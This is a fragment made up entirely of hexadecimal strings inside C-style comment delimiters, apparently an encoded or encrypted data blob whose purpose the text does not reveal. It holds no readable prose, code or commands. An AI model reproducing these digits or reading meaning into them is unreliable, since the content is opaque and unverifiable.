154163563258723fdead1438f7ff4c60a4473a93e9eb2a09e8736540f82393a28a605d037910da84c5d1fc648735e32f5676fcfad8ebe136a0b111eb6a23ce5b26b24af561f684f499083d2a1bf9d7ecb85d55cdfca8d41f9d251aeaba63ac90366dbfe847a6a77ca5cc66d80a1c99c23faaa294cd65f89f8785e2f12feee07ef8cb79c41e3a38f352b66923103bd75fe40e89b42b44fcbe5fa2440f90b46488062f1a9fd2f2f446b39a53b8c9fe8f004309ab034f1289eed9f8df343df1654897665d11be68ea000d747e6c0827d7d1e65fd5f61622ae229a8dd844ffb51a5b396a75f909189c1998e271f34c9e3eb864e5a2df65d22fa84db6014464b5af89b5be6f98d6f2e5f1fdb78fa9ccb6702d6331d3ac65a231b74aef41157d2365d1d050f7db5a210b1a266ff5b238f1e58268a011e5a5353fe4f1be38942ac387d63767f23e034e5a46e876ef6fb025704a2d222a57fde4cc7dac94134600c6efaf4cfd87ddf796bc90d1f844ecd5bd9f0fb05a827c8286c891cc1d687e9ac2074e3376ac71315ce9eed7a4dcef6227b3f72afa3168e235c74add7bb32c5438dfbdcd27aca6f47692012034fe6df1e7601f95e1cb4a7873df5c4c38386ec83facaf74f3361cf41263ff90a504836aad64ff8eac5c22f9c1673c088131654d18d8616d87ac9abdeb8fff3a9c64fcdbffb5d1754a9da6f269f0b6ee832d5fe7fd73d9c27130d931e94ed8d83efefff56b7a9e6651b148d030849f2d9e9525ef32c68b559856fc3c61262acf12e85b434331bf12fd9dbfbe27c7ff1a2b273154856c507937c6e94fcf4134f0ec80d2bec019c840e9a2e1fe9c654e4ddc1f7b87520005c7c4230ec1736c269bf0375550fb582c4d242d2126094a275763964184b88829c93230c28c854245d57f20eb8eccd09238e82878498068745d577a967f20409449511e5697ec70c3f8decf8e6f4835d2bdec32f8378ef1157fa617e0e815e3b20891e166971721dbae73640b8d00ba67c6f9f272a023d6a7b15d33da09dc5fe65daa6665629c788ff6217856c05e7d27fb199bef8116e0509f18d875e2ffe74b93f1f0bfbad5779b50260ead42b99415e34c463d320a5037fa3333ce76b89e41f67c21e8229cfd805997ebe95ceffc7ed3b7950c794662b04a761cc742284278760738a462c47f04af0f4674a42f398725ee0223cdc303bdf7b80f283d3fb6c7f013d4788a58697244ab7d069a276bdac1a01bad873cf79d7a00f6158a3a3e7cd1940331932592dc3892793d76e1497ad4052e800d503fd7308ecd25f394ef385042711cb512235d61fed0c49dd9b64d29abf1e4ecfe5da218b8928cc982f3d3d17e74f6ad672a472f6bbacbe54e992b05fa0ef71cd0bf3ccf8b735c750231d668f19edaddd26afb94ad2fc5c7cdfb65be235f5a3a2c3c56d169c19ceb2e7e959788cc068d8ffbf7128049d12f6712036700ace0ce6fad52fc9aa58b715c6538e661290a959b9956ac374d0d1f979a9724fee8698a390de4892c75a47587798e28ca486f50436a9015a9e2a672f8e07db90f3ab433eb422cf578f0de8f88c67402a4a4e724ed12f5705480ae23bccc4b37c36f520e8ed2c88f234c4d85e7b5728d97b96b1fdc05de60ca788ca0647fefd2a1a800199a87d2d7c02b48b0f30c3d0481877d567447c43027fc081986785772d92338cd942ee1c51c387393d1e2dcbfce90beeb219ee41cc03ee55d9f7e77e3772db65ff1f5512630f32d9f6c1352da3343fe81c02bdda82c0cd97feaae036bcfdb289773ce42c526bfeae62e37859caa2ea66655875359252c664aacdc21ae3e4bcdd9928362c91fac42858f556dcab2349f25ea00b4e6854897f9c7af6eb58b9b0470106bad9257557861549df8ac9c33868d9cc09156f5fab12a9cbd5e5896c9bfb0951f0812202f73417990a58bb8aa177ccb85299a28faa8b0a5b40d77b017bc5d358424a7fcb024786a903a3a6c5880b9a251123515c4b3228e91a3bc81e81a0192945c93f727128d551a20943b7d91be5c37964bd17d77c6b32815e00ba658f391d0ba68460f3b9171e98b9752f670460c514393850d167bbfbc8b3bd953b06ad60d9cafe9df8dc92bfd3a3f9d706944676f47da7be6cd40aa5ed53602f2727a6217f779b30e703187f714c50d32ae95d50b3d04cc2a3e7*/
/*6f08d3ea06c58cd72395ae698ebe2bcabc159b4693fdf23e6d0ab5b43930f61d5d02426aff142103e17cb5c168a530864609b69ba00c832047e6669e109583384cc071115084305f4f18eaa577d6e4e3649758ac41ea961f97f45e02a0ab1e289be22997d62eb19c2516c0b81d436618ad4781a4ff6e8812da9bfdd22865dbdbf86921c806090ae2d5c9c1f668bfd36a743418c159cb722c73e042bca5fe5a46cf933389e7d19190f308ff5e0637af206c2f5a9218139a39226bbb6a5f9e8054d5bcb53f7e453f1f7a3aa3d31f9134bb68d1f7ef4c2a804d0c1c509e59a95d33992d4b6bf762f98c25ddb9205b862c80562f2a7db1af2d0c1360841bdf768f78713e718b94cb8476df0ca7c64dd2a8f53174ebd9be0de4b6681f217a39d8e19991a0757e7fe6e020d66d037ce77c77df12a461eb2dee67f36aa925346242283df1c15963a92fd86cd5670b543a26997b6534555a0a233c06a58bb8b40e962488981e99a78354450683d1b53eb43584fa06940c217e06b2441ca7e02a0e15cffc1169e52f9b7f2b23e8ae86a5dc88b72e49644e83132877975d44b60fbfdcc6d08b72c29863f1024ca57e36f3d5e66dae340f57a73b80ad67f4870e9dac853ec82dc886bf1a6ef783a902fb082272bad6f9b6e6a917a9fcca0ffb94beb6634d6568f4ae819faf69d8cf0b8732988ca0831c37c11a51ee6a15c29879bbd825feeb7a795d2df8392ac22c68405664a0c514f72dfc20812ef6cc65c45336477981af6f5b541c68394f86e8622bc5870b54c4a946ea1f1879dba7e62d49efa08d0a01b99b660b416ec6d3d1b9f4eb60c1c234c28257fd9a75e25e5106669ee995ac6cc5da9e66cd42fafdb0d4b660eba30a89b2abdaa87ffbd3af5a69ecaffac6dd664c327103e3b96ee061bab60ef8fb7a0be3d5f9a70056236a812cfc1a87f21567bfaa066aeb522986162b444773212fb75522cdb4a5274ba17a699ddffb0d1baa185ccd44069be443095c7498a7842c12472d88e5d34ad8fd7186071cae9f43a15f73ad7ffdbf9cf425b6a1820cb84e6a88a58aa0dccf98489891287ccd687739122af8cfdfa7f17d804c87a93e598b52447bb1b89d975c260dc4af5ef867a541f3eb843f35cd1d633cec4e7f58605a6d14508387bc0603c054432459634dfb929fd47f47f17ab2842acc04229b1d401f51fc3fd9047751a6deb495df8c0bf47da0eb9def3e97a41a205af3f319ad0d6b2862d7398c193880c60d771702d78b00e56c8633651f53604e36cfc420a8bb9fd7026501c5d10a54552184566f75faa0e236ee17f311777cbbe0d515552d529b1717026f9a43abbe27f456cd4aff03df8562998077ab56e3198a6553bbc5f9fa1fc5c9350198ee0cfd6638c96ff63b7875ea83b3a68bd323b67eb06f1df25869da0ba58f6f77f1823446427a1abb029309e39daa899c1a63ee2d8ecd15745cb096d5a0288c6bf2f4c92e79d98b70a03a65df05cf6854fd3b586916fb2ff176bbf8c946a010013df93c81ec7de8a0f47f78a2847b6b9f8a58056c8ea7d68017b1c3e7362608c618882237abfdf07255463325b456088d987f80e233e8048671bfe5ab0e99bf8b4a008dafb835bd1604f4489895af812bd7ae690f5c1e0334181d5ae3b066fc38a77e9e6f1ce2faced4715f084dc24b8600570430461dee84c9a8fee3299db9e6647a8bb62b434b028b5c31b1d53ae2ec6353224dd1a9bee3ab5eeb1d05a98843c856e8a30a4da7701eb6297df5a75bfb1167fcdaa3f11eff2706034e052ad30272af7f692a26578edd812e8a6e2343678f41ce089b35a8ce731ec16118e066c81c46b16f4d161b7731f0a0aa8c582ad6ba7884eb5603211fecdda5134af5e6ed5777597868d66f1f1bc5e79bc93f9066bf6c321a3ddc9cc50c7aac547db535ed3437006a96e228908a267d8cda4e3decc663b3b77e8dd0adab3de414b5e8c61d30cf2d220dbe7d9090571b76505d6620e14d99f2a111fbeeccdadc288830f0f607a5e2a70eee83e68b1fd4bc00dbba6925f4d4718487025042dbf954e0d678d73208163c9312fee2c71e3d098d915069366b4b8abf1ee3ec5c058c8e6a1add31e61d2a5b8d77e86210ce3e155e5b7abc6931a6c8ecfe6e9ed626bb1188c7fdd2180ef171a9a62a6ad1111ee087333eeb49d212fd77994f03fb2fd611149b5a4557d111f9564ab1544361d8338f3d8483e9367f30dad18216010247a462133dd75b198691faf052e5c18e8be9708b138044d953393defe3608f37c3a40ab6dcbda162e9cc335f865e5b4ef419583bfb607f4eb57de65025a2363c69ec9112c022df9e44b1596c10bdf9c02564e1ea624e033536ae4cc23b0cfe73b924590aa96e0d84ef5b2c13238cb56ff1a38500d09304fb5596859afe0ebeee201a6fbf04c19a662ab19f8b8e880db04f3b4a5de84395f9862281ff9d1209ffc101f81ee96beb021661dc8da5965b329daa76e93bec9dcfd9a7cb5c139bd25a0e3993aa78ba03e010249a474e228aa371c9dc67d3ac13916298b5cc6090e7e23c14b9c7c6cc40ed3eeeeaa93c6fc59195862ce3ea1ce5a3d54d2aace361928ed973467a4ef0ef81deebb8a40ae75faa49cbcdee23425d2f1a403a8d32f3b7be4334a2d81ff34bf991e5fff1ee817c4092860e3072c9c31895e7bdc12dc2e7ae634248ed20d6f208ee7d811c97a29fb258ef23b06b273f5896639eff1ef19cf60542fc5140b8e536914d79cfdc05f0408ba92a8dfd48d53648f828b6d4ae338e3c94bccc90d276d3196552b75d75f1d0e5b34cd8ce09f407438c3a4962e2880e*/
/*f1e1ee547ba41655db5e1d10449112d73165c71df935510459f3bdeb61c29e15fc437f63e5ab9eb8b95c56e4504a84c7da78913cb4fbb851218e0f6741c86c4097f94e7a66359f1079f0ec6d1631ec07f333fa2c6cf06ad03412a90595ea36ccd26450fdd7c4d3493b966835b017aebe89d7f3ea59ff35e4caa135a80bcf5576de918233d3322d98fa18fb0cd8a819e751fff306de0216ff0103f29b6f6d0d458fb03d2c6f505404b1dbfa04337677e9ec7c837ee4b1eeaa1ca259e03109c4fca043495497cb373035aa1811b61c06671dd5fbb6e11d3bc4d7c5e994a72e5663e0b67a53274c71f9be00fd735cba9720de4b5b5083bb2ed544aa0e057ddeb237de3cde2e86acac91999d2a3ffb6926e724940aa7670454e1be5dd2c09a44887915357b9667511f62637b243e7cbcd77bf3ab37a226b8bff5c117e112db1a592a81d043721cee7702dd3d68d397937a0200e0ae9b3942128f7523d80276b61999735f715afdab8e4e870b0e969f873e1a6b5b8547cfe2956466e6430b2d340a57772b335a46126c0cc22112780e9970fdc89d844b92db7d98a345fbd581fdbb8ebce280c5f694df4f72cc64bf38e805fcc6012aa4bf4792f560eabd45b166b14fec56ccd0d1be6b2bffbdea64e30e4c8297fb61194229ddff55564b260a992835fb695ec0596d2a6811ad28a7c75367dda939d57868bcbf173b04e5894683857b4ac15027b32b519e603523b888e859c7e384065d87886d6c598722a48dfb15f4b71fa9e2f9da2941ae583c86f18ea79e416d2171019791051d1ef1d052ac51198cd0018211949abb6476ffc4fb82bb275c841d706a6fbb76d5124f519b266877a4996e5315db0f3b586edac9805c7534077f453a7485eb4a05c0a13f1f4677a36ebfbbb7d0bed13c3aca9522b445ddb18cfa448291397a300f21d2b8caa85d1981973ca242fcbc4e4a6bad6ffe33000e0befd4c09b5998b88c8f62fd3d5857946eff0ab4c7a3c349e98b9ca475cf9d249fa4d647c69cd56634e4c64f7123db9858182a99b728e57b12a33f7deb8e48792bbb2c82e4c2fcd4cf5ff46f58c46553dc7068d84541d0ab0a1054e9dc35561c9c1aaa0c01dd91b21144500b6ff567c2691aaaaeb144775b22877e15e89c1b96130fe19c0fb9291a840f622920d7fa9387a3cc00a3595c8d738e2779b552208a358bf688633d2191fc2ee321b8a0af383f28fbd9d4d57aa0bf6e69b456f07198bba16a569ea376f282c5e4bffeaa6e56ab435782e3489535a21b21f784b24f9abf30fb9258e9e92d1caa632996022113f579ffeffd736fe60b4570fff8ff3711291a6074f7234ff07133e23290276ff96b5bf2217445d4f0fb36e58e5cfc8f0ad6e70a8599f36e86dcd78a7057013eaadb6702797dea711a85a2759f155a9f83e248ee86d8d2faceb32cfee9ec11f41cf4732b8d584730eaf34adf4ded69c67823fe73c307bb883a92347c8d7001da45f4ddb81fde8abdddd74eb1e78dd2432c0ff3c531ff8a09480c79b3169485254db1f55c3b40668bc830029b8f41d1e1d8f0c039e7dce609bb4603e5c0ee329a6098247b6039f7cae2ff5a61f30ea256383753de1af15550a763b6a252a2e5860a18d2a9ee6ac4f9f999b2a018ebb9f4bacd198f55bbbdfab74e8d1ad86d1c83caf70a247f373c3b82ad93d9b6be75165eeab22b25ff70ace1d522a9499396c5a20108b51cc4b7b5c4ce1ad7a19d1b5a4c3259205a5e70b384b3a8107ce2f153293b53cec30139b3478f48ab22e425e396304da2a5abb766fc38dccefceab60f665e2fa6471ff676f1b7c0f48e5a6dfbbb0fff57d60f4c5591f05a7aa23567f67ba93b1bc56218e5749a8cef316623d8b2bc799026bc6187ae0084ef8f41a7b363d52997025d09875cf6dc10e1f03cf62207562895d16d2e3f2881aa6ea7a6ce33a3781951c4899000b99a54306d2f469d2cdde1edc3d659d36c786f701d0975989dec9b797e28c9c3665ae0dbbf55d40cec562fa6f4070ff3db2354c68b8516f511d350291ca6e24266366480829b0f3aeadcd77ce7a145eb5cad18b2bec7bd640134b57bb8c74f96ec4c169b84d8488d3197bd1aa41f8b8a3eede661d247e88ebde25fb04ed50ccf2f1023e7bb1adb172bdfd216bb424aae7313cef511fee4ca29f2f8faf59514b71ae2b5aa710d6b68b7f38634c9d95dad270d2c7c3cfbf70bba52fc0179b6428272b5cdabda224eefce690b1d35a6e2f556ed6c1d1487d1c2670fdabe676ce15edd9be9e3603bbf33c4624b28b04961a757816c3c390e63f962086c78b9308a1d7d89445ff023881e927acca48f883c6afc212345c2612d468529d7f2d7b5e9ae6337c84bcf231e0aa3e9e4b9d18a0eb2f9e84048604f1cc74442b32c2f73b72721e3c378d1386d20697f71e67fea157675ee6fa3f81843fa799ad77841a29f494734514baf4def1e245d1cc7ee9e9d4064de867ee17fffa4c5fc9252646adcf3a5302014f07ae365d116e4bd8ee348c8b3049ff7194482d0d3682f0bdcd2d69f2e074eb74560b7a7871408ad0bff74e9878f1123638593b5702e8451d903bbd9a3f742876ae235f6902c31ef7d8791d473e3f9500272d4f8675ae05c48493f6443fc676bd63368139eca028c6a3a5b03d3435f681a6e95cac3165df68452b5c1c8f773bc99a47d2f6b0bbf921feac543c5d11a7b95596f24d4ce594b78b8f6bad4b674c1ff8713452e3b3eccb206c85b37a513f30fe459ff565c48978592a71ed4ea4a0701c40912b0e62f86512b131a945e7dbe426ce6aab31fa243008d677115eebbd80b595561*/
/*67d07602d62945425ead4760ff4be7fc2d61a9e5a155a2d96c6e62aced95aacc1ebaa30afddddcbc847a768979f45d7cd8b66194c0c50a0cbef2a9171307e5da6f8f7eb990e208c0b425094edddf75a9b19b57b12a9faa574f4bcd57e5de6aeddc702f52881df1aedc77959bed8570402310e63f84e69d80b37384c803f087c960f9d9b852e5434c79c0dbadb64ae8fa4a1f24be5433eff3971366cbd67134e734e115c3da2d03cf9d7783f40d5ad2feafce35d1f3687e09c93a893f48f5428bf34b08ae990e8ebcc70f586520d689361be8dc55125b5a62419733f7b0e267e1d15f5a87ecd1a6c881a310f14890c09929e7bb16ec16af84fbad752a18d8e3ef793a5074d06b1ca22c888a876c769450d32c4ac04c4703e021f40770f0a2b9f04ba2376b3a1d2d96be050920c985afad17e1f7cf58a7462511146b0c2abc61cca5bff65495403eca829d86c1959d578780cc3c64e019fb244f49202c11ab56aa97fd85b774ccd2fe03d5e754360a04396fcb359f21785e1c535575967f808f427bf7608452994b0b71eb4021b577aee1dcacacf21ae48ef91162c9bb3f2af7b55bc9ec5066d0635f203849d4e7277842be94a53c2594abe6696594366fd474c1bcd5300a23333fd208c9ea188b4c9fbf81cc44471cd71b618bda6270c447a91fb1ba774fcc559a45dd1f9efc3d0f2d72be604eeffad96d8b9660bfb78c13c98c66c47386808153aaf71e34583e71346289d98022049f4fde9c27b39de32b1b37d449cc7721a9edcae16e2f3c2a01e8132d3fff4a4ccc61f29d15c058e60b14fb8d8596fbf68b40e382152ec65deb1ab004649156dd9c8a23e877fb0875ba71be35a34a9a29fdd74da92ce07372d89aae6e4f312ed5b5907e86bb1f8cb7509497b87d4913961c7d66d8d115576995798de1f24328f2fa9e1bbafda01e0226645ff8f7527d555250c0d555cfc0d61ea1f9b11d87d5259f95973d6197c547d84a684da981510a557871012cd15ebb39da825ee6369421d6e9a62557ff4dd25e3cd6e995370f7db677737401080bca19fcc4b04672d02cc0b2f300e8e2ab40e1491e87b56906f77798bd2371b96e3b1d80d0885abcacdf5c88f7942e907d43961d00d25be22ba1328416cd3b70fc953a0656ec5eac64cedff475186ae7a50ad6392155a8018e2b2d5b45ebe407a70796134609465fb24f395f104ffb7118c5383e96ae4e9ab08fdc803b7e5ded9f36cc5ae6ea9ae4adbc20bc6c3368e1322e03cf177b8f538fc03ed09ebdf78eb930da55a5c98f171354e213653f9ced6c1f2419215adc6dd1d666e9a5932e6e4a322b808bca4a8ab9c024514eb0134fb6566833dd72f204db40c9152e7efbb6df1d2439bd26186ee4766847bd961ec1605481008ce66a95acf9ba403bff2f334ca73c0c5aa62317e1edecc80fa8cb4fdfdf31e096bc2ee46ead27ce803828ae46c667d37fa5b5c52c8aa5109383e77656fc4c59379b77447109d3f59f631db1fb6cd5250d1f282cefd8e88032f5b6a2cf7f09b39a0347d528c3f95f21b65e2b33c84313a00fb388d1a8737b673a3f5457f235a985e18f4b9c09f177fbdcfd11eae4cb285e8059ad1ffce0cb31c15790a2e923797fb4776c48aecba599f16f1bfbcca054e228f3ecd7b028981c85d1838d7c0b3b57115941b7ed37c0bd7967ac992b5d59f1534b736449718e115519c5da350e8dc71d69f331401f85b2db1f6dc23d7e3656968b7c8f3c366af2995aae2f50343a71828717623b37a7f01a3da92d4d6b51af8ec8d3ba169deb73dfedc13a53a25cc0e9f1c512c1702ed45d6bfe44e4b1b83323861ab4c18ce418908cc2aaba2ef63d9e0e7925e92b640bb40a7bff0047fe860b91f113f9fe406c17ecd739c6a6594e17df9e80fef8e44a4448c68af114644bbf0fd10686d2d7e48d6e3bb5300688ae819d23fecc60545f827a2ac207a6741a2d5940f6b52e136951a1389d89734701d4649e51ec4c65a82b0b43f7da7ca19c56a1ab81f8c8c377f56288261ea442b05a7572278b422f836c7d001128feea29d3ed0cc3d0c3e98e27fee9f2acb2cbac8701762ffc111b11201cd48bda761f7cf39d8e6c46930ab21e21456946d56ffbc1ce1a9558c9bb135ccc612ae59d4a000f7a1017db28233509596af6f565e543ffaeb40d17369fe57409799e21abf68b83c952c6e648ddc14cce77e5d7a3f910ee43313598fdfb45466333737462fcedba6ef238f9f77807e69f13df28167202ff4cdd92882ea4ddec09fa98755833195402a672e9f338fcade906f64708d87a7b32956aeddcec6c229fc803c39aea5b61dd52526155b15a9881182df74f43aa0c6510c4150c4820c317e6f741db5ca9dc9da1d3497942256f0c5f63de64133c8d0c2413e068d6273d045f68d0ba3a3c33141c81141ea923789b8499581b5ea585cad59d6c3d0eba6ef59e5c39665196784ef524a9fdee2fb9d9b5abe9f57447e049590dd96181265ea893f61105b09e00e66749a8b60ee555a38256831892e83869ee18e8665ffd60745345cd33e80f7e773c58abc39932f411164f86b727a4e684256bc71e11037703e65ae9585b02609ff91a2df8515d46328fd070b84ec63862ca49f63b8476ca8acec3ab758d26e4b92ff15681e60cd477b8b2035da57cdbf040c69efc8cc0c338d297e0d4fe6381e8991dcd0e6ca09da76e9023ce9cdc98c0384dfe05788bfd21f6075b1e0a399ee8cd7bca9bc79de7ed6c6b8545ff1dd3beeac8a67c8afac562565807aa6eedc3a5ea4880024a883711148dc43bf89c490aa9e64af4ee833c0b92da01038911*/
/*4ccd065f4839a9a1004947e54bd6531003830d59bd49a21ef03578d4ae8f3b61273c6187c192901e1b3073948a8d7c92889f959091431a710f04c8054e2e473fd2d7615a93af9ed65acac6315fa43b9e1d3136c15ef27da896778a3acc19f6bf533fe93289e2b1e2c8487f10fe6e99a424878e9566c85d3b2cf9aaba7c8ef343abb7ac6439b1e9bb2589248713e2b823743716eaefe9187148d6044bff53cc6f4e6ef106c21d6a334a09e7e902a599b9da52f90bde74c993cdd172ebdcee5ce35a86369401bd3db319eb68e7e2e1f9da9b9d4c1c637b0bf298920e7988eabe744572dd3ce51ea8d6c75ef7ef5a2dc9901231297a9c3919d0859ef84b3c580d698e05f163478c2cbb9ae4bbc176d71c6966f5f19caf2e780007fa29864bb89106453eb8040e9a5c6c5246acc40484a40c63400d3a920ec88091918ea88e7a4b9acd6084060218224ce081d438036139bbaa75881966d04003c2419a2a867c796d800311b0f0e3e1f42ae31392475a0eadef3e98d5c01974c2141cbd6d7b8cb7c21eecc4145b26e31daf1eea8ff726bb7e46155378de743216feadc5c9a03de892f67028aa7d70cab2724c3682044092bba8aaf1d76d0990514157e5129e4f9aa3d0128884e94249255918cf6311eefb6465518eb2fe9d0ec722afb4504d71c94951fd8964a97a95b6132b40f767dfaded4cc1312ea65af74e361a50891500ee34d9ce7765669f4561e5333f09cdb4b50a6febeb724ca2cae84a6df4f4dbbcb05a59093cd57cd86ce87370dd5eb695cf00b840a1c29d4b92c8423cbf34301510c1ad6a738616188438b4cb0b5120a9f0120829822d97ff72888ca48b6347bfb3a4f695bca625d54674510497441cc4d38cd63e94d81153b61447fb5c5367b67fbda0ed9687ef2b3b3b1c633bf2e99d29c8ae8885b30d141b4d7833bb29abfd16c0ea1dfaeb4208ee568121e17ddfa3710aae6d1dc73978769b911cc4ba00812a3272e330172b3badead647a699ff66dc29f13dd27b810d2b96b7d86f87bf4ff973dd43a5dafa089307cc1520e05e2c8614e0a1718cab8c6bd6118647abc51d0a8d6775234e8a56b913e06663f155e93bc902a9fa14874dd6444473068fcb649da8e3e43e863e0a94d8b3f38851ce4c17cd4e6064a41700b32219e231bd5460d8950ef9482a92d17b0e401fd804ff4bef1257dcc2e546eaf51cf5e8f3bc2dad0216a48eb2e4ee7b6f638e0f91d3eb8770e457b055e07feae5a88dfcafc82b225dbc8e7bea1a005c1f35563edf6e02d78849bc3e3048f31c3a552b19d832a9b574cd438a96fa8c9726e436146366af79b8cb9cb9f887450f84d0d64ea2411a0f8c63d88d2eb308ba2b9a682ceb869a6eb39970e024b5152543677d8994f595ee2ec578b6ec0ae1bf3de093149591c633e65d4664c54ee54d95329a8a6baa876de557e16c924efa4a2ff36aeecb502934ebb4d8f251145d211709e67e24f166a08724a0637a31cc81db2a881fff6e0d1cb17bb424cdaac1b239d466138c55bf3b94efa70e919e804fb981d692b76a96840e1ee7d20ab476a2fd8f98415fd917e24c0276d7a59c3626552605c24f8ee699a96ab632ee940d8f7612c3063bb4b92832e74aff73d88864ccec06698f17f7958b2dc57490c2ea0bf9e7ccb6009b0b93ba0d26691ca7fc186b9401080e997b7673e40cf59666dd6ec00f8c50c4476e5fa51ad188b665d523487f5a5defe3f4a4a89b15791ef96d3205e242a2898ba4c7b01fbd39eddb591c8eaca2ed32ffdbd7f6c50bbbf07b3d1ad734643dff5a4a0f1061cabbbda4823cccf9693320cea2fad3f76ea7be31d50a4fed5d6df7357b24e8b35299630525667ec8befbfd9ff2c79fece1f5bda08c79191a53cc9f3de21934ab0d2a339a9c45550661338a1c5c14d91e4b0022d15ce6029a4069e891348bc52fc94114bd71b290bff045080fb9c63840e2a8073ec3126d0409db4f9f3fe955bed6793c656587728e9069793c78ca003b0fca98d4a7820b6257915305873799fbe0ccb5ed40b8b587c16968d91f86c595460d538a2e0b99221bc3cb6e6c963b50dc43cf4d93a7d6b9aac9d8fdd262a8514963c45340276a3ffa4a0f69badd1f9aaf8395f811b82619294accdf63eaad5803509894c24a73493ecf340cda1fc9b07473c4e29d2c604ac45993925e5b107b1d21645db62a5624649e21e1670fefb5129fd82732fd038f85b25925f4a046870533ff0ff158e9dc8d287d278d48ee412ff1d0bc5d85a148ebadb1344bf653fc3e7b86adea7cf369d867194fd185896506b3553718a26225b0a2be95a3078592d9cf085cabacfb2bd3ead8246c8fffcaaa93645accc524550e47161fcbb02ddb6a08be75c1e568064abe2a25886ff92774f483f746db70aafa77af4437aa05c0e57b27fc208914c418cf1c7c87f2d4c06e24975d9c3523fc322fa45598d193f2f053340775a7c8484f9468f6f62ea62f452daaba1538f6dfa9ef607c4ee13b8c00bef7ab4d77589ec2e58fdf8c47d46ae058f6a1a658f700c0b11deb112f562e2ce1105d0eeff802031002634221c19b24d2db905bcd685236490090f382ceb13e821062877cdacdb5fc809d73b2aefe4dca8f3c6d28d71d5404deaf4f0a27e43c2486e4430e1554182e1133e1ededa8e7786221af9e2e0836603f03d605e47999675302e1738d98a240638dd71eeae0883467ea18432891edee725f6883488bbf4e9e63dc38b2d1750a247559569a9677d74c3dbe19cef2f796c6a81b2cac8686a00c6035b6b4a00ff4d9b9f6e5f7ca288dc48a5219235be1f92b3ca1ac5a57*/
/*1ab5d526e39c6d7276b2a70c15ebd953441482efde4c2d8a7dee8eff80480dd0663b1fa7dc06b01bbf9eed324e391f370261cf47b4f45eb3aad33bd5fa120f29a998bb1ac1693c1033cbc9ab638e1b7b18809a1488c61c1c25b93edf68d0401e18e9bbf78a764767b91373548e9ce92d0fe76d527886b5705c83cce749d0cc6e5168ab5a87ecba6e31d0289121492a7696a729d93a0c2f1fe1e154142eb33820f382aa1c2e2ff18f64e45698091efb2ab4adbd6b8a75079cb22f982aaccf9f202da9e801bc0015f0f5fffbf8be22adb3afb60cdc94250e7d7f3e07ad548d723ccba748e9aa7977d606cd64655f48c9808d6bb280575ece5d764bfb03b0b145f847039ba8631625b107f073961ff5a5adb3f0cda892a3fb0773236b61bfef16933698f883c135b6ad9ee389f72bdd3d838815f17f05455834b446ed3d065989d4f85dc48e3bd2b05cc3339d6090bc7c4797aea76f9a294f6f27a3ddfe86cda6f051bd91d95b327c855a16b05aafbaeac3ca846d9672c46af53d685b7eeeee4e45b7e0687a634eb1970de7500cb286f5bdc12bd9e652171e6987ed5433a5e57c14e09dec8f964f9013abb0b1afc3fdd220a1d59938520425dd8639998cc9475b6d3b8cc202b37764b4aed3545ca51f70ff8f68282f2e645c5cabb1937bdcc97569fec6f4ce110a2a570e295b7f887e1cb1e49235970abf343943c6e89fe4b85d83e7476c84430a954d229f59740b60d9c34e3dde2a1528d195114899d056c07a5c349a015bd27e494c4337ee43ff180b2be0befaae37f27e7cc5828beed3688994f5d8d6a490a174aca9c9f9437801c0c17f0cd3da64fc3d9c03108d536d742dfbf66e9f69608849d00eced609dd00d0337fb6428512e8e2823cc09fe8eac17451a9595a9aeb67345a412b268a70a078709f2c5aa40c5b979ff5114708a72b422e509bae5127812f4ff98ef6c95266a3bc599b800f6dedf7f1c1cbe65a777050bfa5dce6fe4d36efd8262364c4e53c72f8a19384527650b28e071af4081407c0f858da139a144ac94499337e9fa892b9810548a5efd8db3b7cb775590420f261777756a010214fc5b6006991d8aeac00533fbb50a393a436e671fcdd1b86efe798c0481ffe844a75a3e598985c5c0652fcd342ea149e0b5fddebcb2c1664c95ca49d1f63b7e6320479e508db39a4994a67be0096bb67426ed6f0244d4f852ed2fe2fc3f956173eefb13780850c299a99d58224db0127563c5d3ae091d17ea7a72cc70c5bc40c7954a98f6a44dffa5aedb0038de92652e921eca88e2a8764f39d8cc653e7d62416461ad8f5edc07410c600a94a7298d777a50911829f7e2a0ff14812f0417404c1e452bda972a135c022cfa8b7e71f9ddf1036119876eacc77ea26040c3bfab271eab072e96ab2ad221aade6d4e89667905b83d63758d611f5c22c2563a5e662f9d147347b5bde38f94a2ee5b497cf90ce1b346c70ff2605f056f9e45c48a8a45b56cb86d6e8208e7b3728bec4a84873023ce148a1f8c1093031d55dff695d3b9c717aa466f22ce689b90d4e1aec097202600adae408f2086e7b96109127de666cf8382190f546fe1b5ffd41cce2bb2cb115e6713f7c43286041d8ae42fe3c5bf46c51c980ecd580ec3db5f2947a8c858d512090567f5e3901fc9ee6b11833a71bbbd249ada0b0749afa8be04d5147041181ea8fe959089e16a1e154212c663b49857a533c84a013221f0093d43c648786c6530983c66d47dd8c2ebdc84ccaeeba12465f84888880b201f13bccaa8f92327d31abae29e1c30a49823ee43b67ce717a9431ffc164a2086859aa8a87d1ed4f641c60bd0caee4265339bf46e78569bd77b9408db563525df1df48cc76020a241c2ef57dc4db3158155bba4fec456c1e0416961cd0f52a18039625adb632ee52ee18df77640ea06f17f5f18f412b0634eb1fabc2b1615cecb40d5d321ffcb2528d5f277ab3157261ea075b9db31e479b0b8a6f6d8d08e5e4f38d2cf326bc1503434a731b27c8eec4969772c4c889e688e521e86fce34927f40e32e1a0141024d58113e1026d8f8f54d42caa48040e0d1bf557d399e97d225a0d12afc890af322fb19ddbf1795d5b39d7d66145bd8248eccde69fabc8a7b8bd07ec811eb8055df1d0b8401573fbd72e7cd11bda854cac27622168200407bb3baa059971235273a53d6dc4bbd623b2fad9756f5fad8ed800abb713cda79392753302a75f9f91ae54cd6c6ba98bb758647817060cf78c8e6fa04ec68339b703068223eb1e241ca130169e58c6be236c53b2cb25c38e8e3657d2a680cfd9d1177b4a3c16a013387669c88a3f94e2558758e448e128382061d8078fbfcb4f5c71242702cd6831bb0e538ef319adff6a40937ad13a9385a2a87428093dfefd70a8933984f0a63bce4b45c298cdcbb22dea44ea52ec0e19149c07b0641fba4cff3d2441c511505dd303fc561624804ce04326885c1f5ecbba9b765bd7f4ac647ae37b81ffd47086909ecff22cc380b9f028d65b0198ce02608c9613e2a259d16b48e339eabb2dac063b869ebfc06346f8741e10e321a11ded379737bbf460885ecab5c00bac0028bd5c3a2c292b60f946d329cb1ee0c27fd0754fddd813637ccb1a8f8e8c2b815dd6bc2847aee2ee23b3830bf70215d6e5ace812f1a894fe437603dca3be65548c7bec9dd06980503c0c60477f5030aaff4cd18b04ab2b0d4e8ba2a44425b1daecb0d58ce9f5c248e699c97866992af84daf68cc526fb701b9ee83b9964f80389d8ef1d334f3ebcdff134092087c62d00d65c